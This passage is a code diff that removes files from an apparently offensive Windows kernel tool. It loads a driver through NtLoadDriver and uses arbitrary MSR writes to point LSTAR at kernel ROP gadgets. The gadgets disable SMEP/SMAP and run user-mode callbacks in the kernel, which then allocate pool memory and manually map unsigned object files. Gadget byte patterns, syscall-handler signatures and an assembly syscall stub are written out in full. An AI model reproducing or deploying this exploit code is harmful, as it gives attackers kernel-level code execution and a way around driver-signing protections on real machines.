};
|
||||
|
||||
using obj_buffer_t = std::vector<std::uint8_t>;
|
||||
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
|
||||
|
||||
auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t;
|
||||
auto get_objs(std::string lib_path, std::vector<obj_buffer_t>& objs) -> bool;
|
||||
auto get_map_symbols(std::string map_path) -> map_symbols_t;
|
||||
|
||||
namespace sym
|
||||
{
|
||||
auto get_all(obj_buffer_t& obj) -> std::vector<symbol_t>;
|
||||
auto get_relocs(obj_buffer_t& obj)->std::vector<image_reloc_t>;
|
||||
}
|
||||
|
||||
namespace section
|
||||
{
|
||||
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, obj_buffer_t& obj)>;
|
||||
auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER;
|
||||
auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void;
|
||||
}
|
||||
}
|
@ -1,263 +0,0 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <ntstatus.h>
|
||||
#include <time.h>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
inline auto delete_service_entry(const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||
}
|
||||
|
||||
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*)drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
inline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" +
|
||||
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return NtLoadDriver(&driver_reg_path_unicode);
|
||||
}
|
||||
|
||||
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
std::srand(std::time(0));
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||
|
||||
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||
output_file.close();
|
||||
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
inline auto unload(const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(
|
||||
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_result =
|
||||
NtUnloadDriver(&driver_reg_path_unicode);
|
||||
|
||||
util::delete_service_entry(service_name);
|
||||
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||
// to the driver, this means the driver is still loaded into the kernel...
|
||||
try
|
||||
{
|
||||
std::filesystem::remove(
|
||||
std::filesystem::temp_directory_path()
|
||||
.string() + service_name);
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
return STATUS_ABANDONED;
|
||||
}
|
||||
return unload_result;
|
||||
}
|
||||
}
|
@ -1,236 +0,0 @@
|
||||
#include <iostream>
|
||||
|
||||
#include "vdm.hpp"
|
||||
#include "msrexec.hpp"
|
||||
#include "theo.h"
|
||||
#include "linker.hpp"
|
||||
|
||||
using extern_symbols_t = std::vector<std::pair<std::string, lnk::map_symbols_t>>;
|
||||
using objs_buffer_t = std::vector<lnk::obj_buffer_t>;
|
||||
|
||||
auto get_mapping_info(int argc, char** argv) -> std::pair<objs_buffer_t, extern_symbols_t>
|
||||
{
|
||||
auto maps_offset = 0u;
|
||||
std::vector<lnk::obj_buffer_t> image_objs;
|
||||
std::vector<std::pair<std::string, lnk::map_symbols_t>> extern_symbols;
|
||||
|
||||
for (auto idx = 2; idx < argc; ++idx)
|
||||
{
|
||||
if (!strcmp(argv[idx], "--maps"))
|
||||
{
|
||||
maps_offset = idx + 1;
|
||||
break;
|
||||
}
|
||||
|
||||
// another flag so we break...
|
||||
if (argv[idx][0] == '-' && argv[idx][1] == '-')
|
||||
continue;
|
||||
|
||||
if (!lnk::get_objs(argv[idx], image_objs))
|
||||
{
|
||||
std::printf("> failed to parse lib...\n");
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
if (maps_offset)
|
||||
{
|
||||
for (auto idx = maps_offset; idx <= argc - 1; ++idx)
|
||||
{
|
||||
extern_symbols.push_back
|
||||
({
|
||||
std::filesystem::path(argv[idx]).stem().string(),
|
||||
lnk::get_map_symbols(argv[idx])
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return { image_objs, extern_symbols };
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3 || strcmp(argv[1], "--libs"))
|
||||
{
|
||||
std::printf("[!] invalid usage... please use one of the following:\n");
|
||||
std::printf("\t\t> theo.exe --libs one.lib two.lib three.lib\n");
|
||||
std::printf("\t\t> theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n");
|
||||
std::printf("\t\t> --debug, print linker debug information...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (auto idx = 3; idx < argc; ++idx)
|
||||
if (!strcmp(argv[idx], "--debug"))
|
||||
dbg_print = true;
|
||||
|
||||
auto [image_objs, extern_symbols] = get_mapping_info(argc, argv);
|
||||
std::printf("[+] number of objs = %d\n", image_objs.size());
|
||||
|
||||
if (!image_objs.size())
|
||||
{
|
||||
std::printf("[!] failed to parse .lib...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
writemsr_t _write_msr =
|
||||
[&](std::uint32_t key, std::uint64_t value) -> bool
|
||||
{
|
||||
return vdm::writemsr(key, value);
|
||||
};
|
||||
|
||||
vdm::msrexec_ctx msrexec(_write_msr);
|
||||
|
||||
theo::malloc_t _kalloc =
|
||||
[&](std::size_t size, std::uint32_t prot) -> void*
|
||||
{
|
||||
void* alloc_base;
|
||||
msrexec.exec
|
||||
(
|
||||
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
using ex_alloc_pool_t =
|
||||
void* (*)(std::uint32_t, std::size_t);
|
||||
|
||||
const auto ex_alloc_pool =
|
||||
reinterpret_cast<ex_alloc_pool_t>(
|
||||
get_kroutine(krnl_base, "ExAllocatePool"));
|
||||
|
||||
alloc_base = ex_alloc_pool(NULL, size);
|
||||
}
|
||||
);
|
||||
return alloc_base;
|
||||
};
|
||||
|
||||
theo::memcpy_t _kmemcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
void* result = nullptr;
|
||||
msrexec.exec
|
||||
(
|
||||
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
const auto kmemcpy =
|
||||
reinterpret_cast<decltype(&memcpy)>(
|
||||
get_kroutine(krnl_base, "memcpy"));
|
||||
|
||||
result = kmemcpy(dest, src, size);
|
||||
}
|
||||
);
|
||||
return result;
|
||||
};
|
||||
|
||||
theo::resolve_symbol_t resolve_symbol =
|
||||
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// false if we found the symbol...
|
||||
return (!(result = utils::kmodule::get_export(drv_name, symbol_name)));
|
||||
}
|
||||
);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
for (auto& [drv_name, drv_symbols] : extern_symbols)
|
||||
{
|
||||
// each kernel module... find a driver with a matching map file name...
|
||||
// I.E ntoskrnl.exe.map == ntoskrnl.exe...
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&, &drv_name = drv_name, &drv_symbols = drv_symbols]
|
||||
(PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto _drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// if this is the driver, load it, loop over its sections
|
||||
// calc the absolute virtual address of the symbol...
|
||||
if (!strcmp(_drv_name, drv_name.c_str()))
|
||||
{
|
||||
const auto drv_load_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
std::uint32_t section_count = 1u;
|
||||
utils::pe::each_section
|
||||
(
|
||||
[&, &drv_symbols = drv_symbols]
|
||||
(PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool
|
||||
{
|
||||
if (section_count == drv_symbols[symbol_name].first)
|
||||
{
|
||||
result = reinterpret_cast<std::uintptr_t>(drv_info->ImageBase) +
|
||||
section_header->VirtualAddress + drv_symbols[symbol_name].second;
|
||||
|
||||
// we found the symbol...
|
||||
return false;
|
||||
}
|
||||
|
||||
++section_count;
|
||||
// keep going over sections...
|
||||
return true;
|
||||
}, drv_load_addr
|
||||
);
|
||||
}
|
||||
|
||||
// keep looping over modules until we resolve the symbol...
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
|
||||
// if we found the symbol then break out of the loop... else keep looping...
|
||||
if (result) break;
|
||||
}
|
||||
}
|
||||
|
||||
// finally return the result...
|
||||
return result;
|
||||
};
|
||||
|
||||
theo::hmm_ctx drv_mapper({ _kalloc, _kmemcpy, resolve_symbol });
|
||||
if (!drv_mapper.map_objs(image_objs))
|
||||
{
|
||||
std::printf("[!] failed to map object files...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const auto drv_entry = drv_mapper.get_symbol("DrvEntry");
|
||||
std::printf("\n\n> driver entry -> 0x%p\n", drv_entry);
|
||||
std::getchar();
|
||||
|
||||
if(drv_entry)
|
||||
{
|
||||
int result;
|
||||
msrexec.exec([&result, drv_entry = drv_entry]
|
||||
(void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
using drv_entry_t = int(*)();
|
||||
result = reinterpret_cast<drv_entry_t>(drv_entry)();
|
||||
});
|
||||
}
|
||||
|
||||
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
|
||||
if (unload_status != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::printf("> press enter to close...\n");
|
||||
std::getchar();
|
||||
}
|
@ -1,205 +0,0 @@
|
||||
#include "msrexec.hpp"
|
||||
|
||||
void msrexec_handler(callback_t* callback)
|
||||
{
|
||||
// restore LSTAR....
|
||||
__writemsr(IA32_LSTAR_MSR, m_system_call);
|
||||
|
||||
// call usermode code...
|
||||
(*callback)(ntoskrnl_base, get_system_routine);
|
||||
}
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
|
||||
: wrmsr(wrmsr)
|
||||
{
|
||||
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
|
||||
if (!find_gadgets())
|
||||
DBG_PRINT("> failed to find gadgets...\n");
|
||||
|
||||
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
|
||||
if (!find_globals())
|
||||
DBG_PRINT("> failed to find globals...\n");
|
||||
|
||||
cpuid_eax_01 cpuid_info;
|
||||
__cpuid((int*)&cpuid_info, 1);
|
||||
|
||||
cpuid_eax_07 cpuid_features;
|
||||
__cpuid((int*)&cpuid_features, 7);
|
||||
|
||||
cr4 cr4_value{};
|
||||
cr4_value.debugging_extensions = true;
|
||||
cr4_value.page_size_extensions = true;
|
||||
cr4_value.machine_check_enable = true;
|
||||
|
||||
cr4_value.physical_address_extension =
|
||||
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
|
||||
|
||||
cr4_value.os_fxsave_fxrstor_support =
|
||||
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
|
||||
|
||||
cr4_value.os_xmm_exception_support = true;
|
||||
|
||||
cr4_value.fsgsbase_enable =
|
||||
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
|
||||
|
||||
cr4_value.os_xsave =
|
||||
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
|
||||
|
||||
cr4_value.pcid_enable =
|
||||
cpuid_info.cpuid_feature_information_ecx
|
||||
.process_context_identifiers;
|
||||
|
||||
m_smep_off.flags = cr4_value.flags;
|
||||
m_smep_off.smep_enable = false;
|
||||
m_smep_off.smap_enable = false; // newer cpus have this on...
|
||||
|
||||
// WARNING: some virtual machines dont have SMEP...
|
||||
// my VMWare VM doesnt... nor does my Virtual Box VM...
|
||||
m_smep_on.flags = cr4_value.flags;
|
||||
m_smep_on.smep_enable = cpuid_features.ebx.smep;
|
||||
m_smep_on.smap_enable = cpuid_features.ebx.smap;
|
||||
|
||||
ntoskrnl_base =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_base("ntoskrnl.exe"));
|
||||
|
||||
get_system_routine =
|
||||
reinterpret_cast<get_system_routine_t>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
|
||||
|
||||
DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
|
||||
DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
|
||||
DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
|
||||
DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
|
||||
DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
|
||||
DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call);
|
||||
DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags);
|
||||
DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags);
|
||||
std::getchar();
|
||||
}
|
||||
|
||||
auto msrexec_ctx::find_gadgets() -> bool
|
||||
{
|
||||
m_mov_cr4_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
MOV_CR4_GADGET, "xxxx");
|
||||
|
||||
if (!m_mov_cr4_gadget)
|
||||
return {};
|
||||
|
||||
m_sysret_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
SYSRET_GADGET, "xxx");
|
||||
|
||||
if (!m_sysret_gadget)
|
||||
return {};
|
||||
|
||||
m_pop_rcx_gadget =
|
||||
utils::rop::find_kgadget(
|
||||
POP_RCX_GADGET, "xx");
|
||||
|
||||
if (!m_pop_rcx_gadget)
|
||||
return {};
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
auto msrexec_ctx::find_globals() -> bool
|
||||
{
|
||||
const auto [section_data, section_rva] =
|
||||
utils::pe::get_section(
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryA("ntoskrnl.exe")), ".text");
|
||||
|
||||
const auto ki_system_call =
|
||||
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data()), section_data.size(),
|
||||
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
|
||||
|
||||
if (!ki_system_call)
|
||||
return {};
|
||||
|
||||
m_system_call = (ki_system_call -
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data())) + section_rva +
|
||||
utils::kmodule::get_base("ntoskrnl.exe");
|
||||
|
||||
/*
|
||||
.text:0000000140406CC0 KiSystemCall64
|
||||
.text:0000000140406CC0 0F 01 F8 swapgs
|
||||
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
|
||||
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
|
||||
*/
|
||||
|
||||
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
|
||||
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
|
||||
|
||||
// handle KVA shadowing... if KVA shadowing is
|
||||
// enabled LSTAR will point at KiSystemCall64Shadow...
|
||||
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
|
||||
|
||||
// if SystemKernelVaShadowInformation is not a valid class just
|
||||
// return true and assume LSTAR points to KiSystemCall64...
|
||||
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
|
||||
{
|
||||
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
|
||||
{
|
||||
const auto [section_data, section_rva] =
|
||||
utils::pe::get_section(
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
|
||||
|
||||
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
|
||||
if (!section_rva || section_data.empty())
|
||||
return true;
|
||||
|
||||
const auto ki_system_shadow_call =
|
||||
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data()), section_data.size(),
|
||||
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
|
||||
|
||||
// already set m_syscall_call so we just return true...
|
||||
if (!ki_system_shadow_call)
|
||||
return true;
|
||||
|
||||
// else we update m_system_call with KiSystemCall64Shadow...
|
||||
m_system_call = (ki_system_shadow_call -
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
section_data.data())) + section_rva +
|
||||
utils::kmodule::get_base("ntoskrnl.exe");
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void msrexec_ctx::exec(callback_t kernel_callback)
|
||||
{
|
||||
const thread_info_t thread_info =
|
||||
{
|
||||
GetPriorityClass(GetCurrentProcess()),
|
||||
GetThreadPriority(GetCurrentThread())
|
||||
};
|
||||
|
||||
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
|
||||
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
|
||||
|
||||
// set LSTAR to first rop gadget... race begins here...
|
||||
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
|
||||
DBG_PRINT("> failed to set LSTAR...\n");
|
||||
else
|
||||
// go go gadget kernel execution...
|
||||
syscall_wrapper(&kernel_callback);
|
||||
|
||||
SetPriorityClass(GetCurrentProcess(), thread_info.first);
|
||||
SetThreadPriority(GetCurrentThread(), thread_info.second);
|
||||
}
|
||||
|
||||
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
|
||||
{ this->wrmsr = wrmsr; }
|
||||
|
||||
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
|
||||
{ return this->wrmsr; }
|
||||
}
|
@ -1,43 +0,0 @@
|
||||
#pragma once
|
||||
#include "utils.hpp"
|
||||
#include "syscall_handler.h"
|
||||
#include <intrin.h>
|
||||
|
||||
#define IA32_LSTAR_MSR 0xC0000082
|
||||
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
|
||||
#define POP_RCX_GADGET "\x59\xc3"
|
||||
#define SYSRET_GADGET "\x48\x0F\x07"
|
||||
|
||||
// not sure how far back this signature goes... works on 1507 though....
|
||||
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
|
||||
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
|
||||
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
|
||||
|
||||
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
|
||||
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
|
||||
static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
|
||||
|
||||
using get_system_routine_t = void* (*)(void*, const char*);
|
||||
using callback_t = std::function<void(void*, get_system_routine_t)>;
|
||||
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
|
||||
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
|
||||
|
||||
extern "C" void msrexec_handler(callback_t* callback);
|
||||
inline get_system_routine_t get_system_routine = nullptr;
|
||||
inline void* ntoskrnl_base = nullptr;
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
class msrexec_ctx
|
||||
{
|
||||
public:
|
||||
explicit msrexec_ctx(writemsr_t wrmsr);
|
||||
void exec(callback_t kernel_callback);
|
||||
void set_wrmsr(writemsr_t wrmsr);
|
||||
auto get_wrmsr() -> writemsr_t const;
|
||||
private:
|
||||
auto find_gadgets() -> bool;
|
||||
auto find_globals() -> bool;
|
||||
writemsr_t wrmsr;
|
||||
};
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -1,90 +0,0 @@
|
||||
extern msrexec_handler : proc
|
||||
|
||||
.data
|
||||
; offsets into _KPCR/_KPRCB
|
||||
m_kpcr_rsp_offset dq 0h
|
||||
m_kpcr_krsp_offset dq 0h
|
||||
m_system_call dq 0h
|
||||
|
||||
m_mov_cr4_gadget dq 0h
|
||||
m_sysret_gadget dq 0h
|
||||
m_pop_rcx_gadget dq 0h
|
||||
|
||||
m_smep_on dq 0h
|
||||
m_smep_off dq 0h
|
||||
|
||||
public m_smep_on
|
||||
public m_smep_off
|
||||
|
||||
public m_kpcr_rsp_offset
|
||||
public m_kpcr_krsp_offset
|
||||
|
||||
public m_pop_rcx_gadget
|
||||
public m_mov_cr4_gadget
|
||||
public m_sysret_gadget
|
||||
public m_system_call
|
||||
|
||||
.code
|
||||
syscall_handler proc
|
||||
swapgs ; swap gs to kernel gs (_KPCR...)
|
||||
|
||||
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
|
||||
mov gs:[rax], rsp
|
||||
|
||||
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
|
||||
mov rsp, gs:[rax]
|
||||
|
||||
push rcx ; push RIP
|
||||
push r11 ; push EFLAGS
|
||||
|
||||
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
|
||||
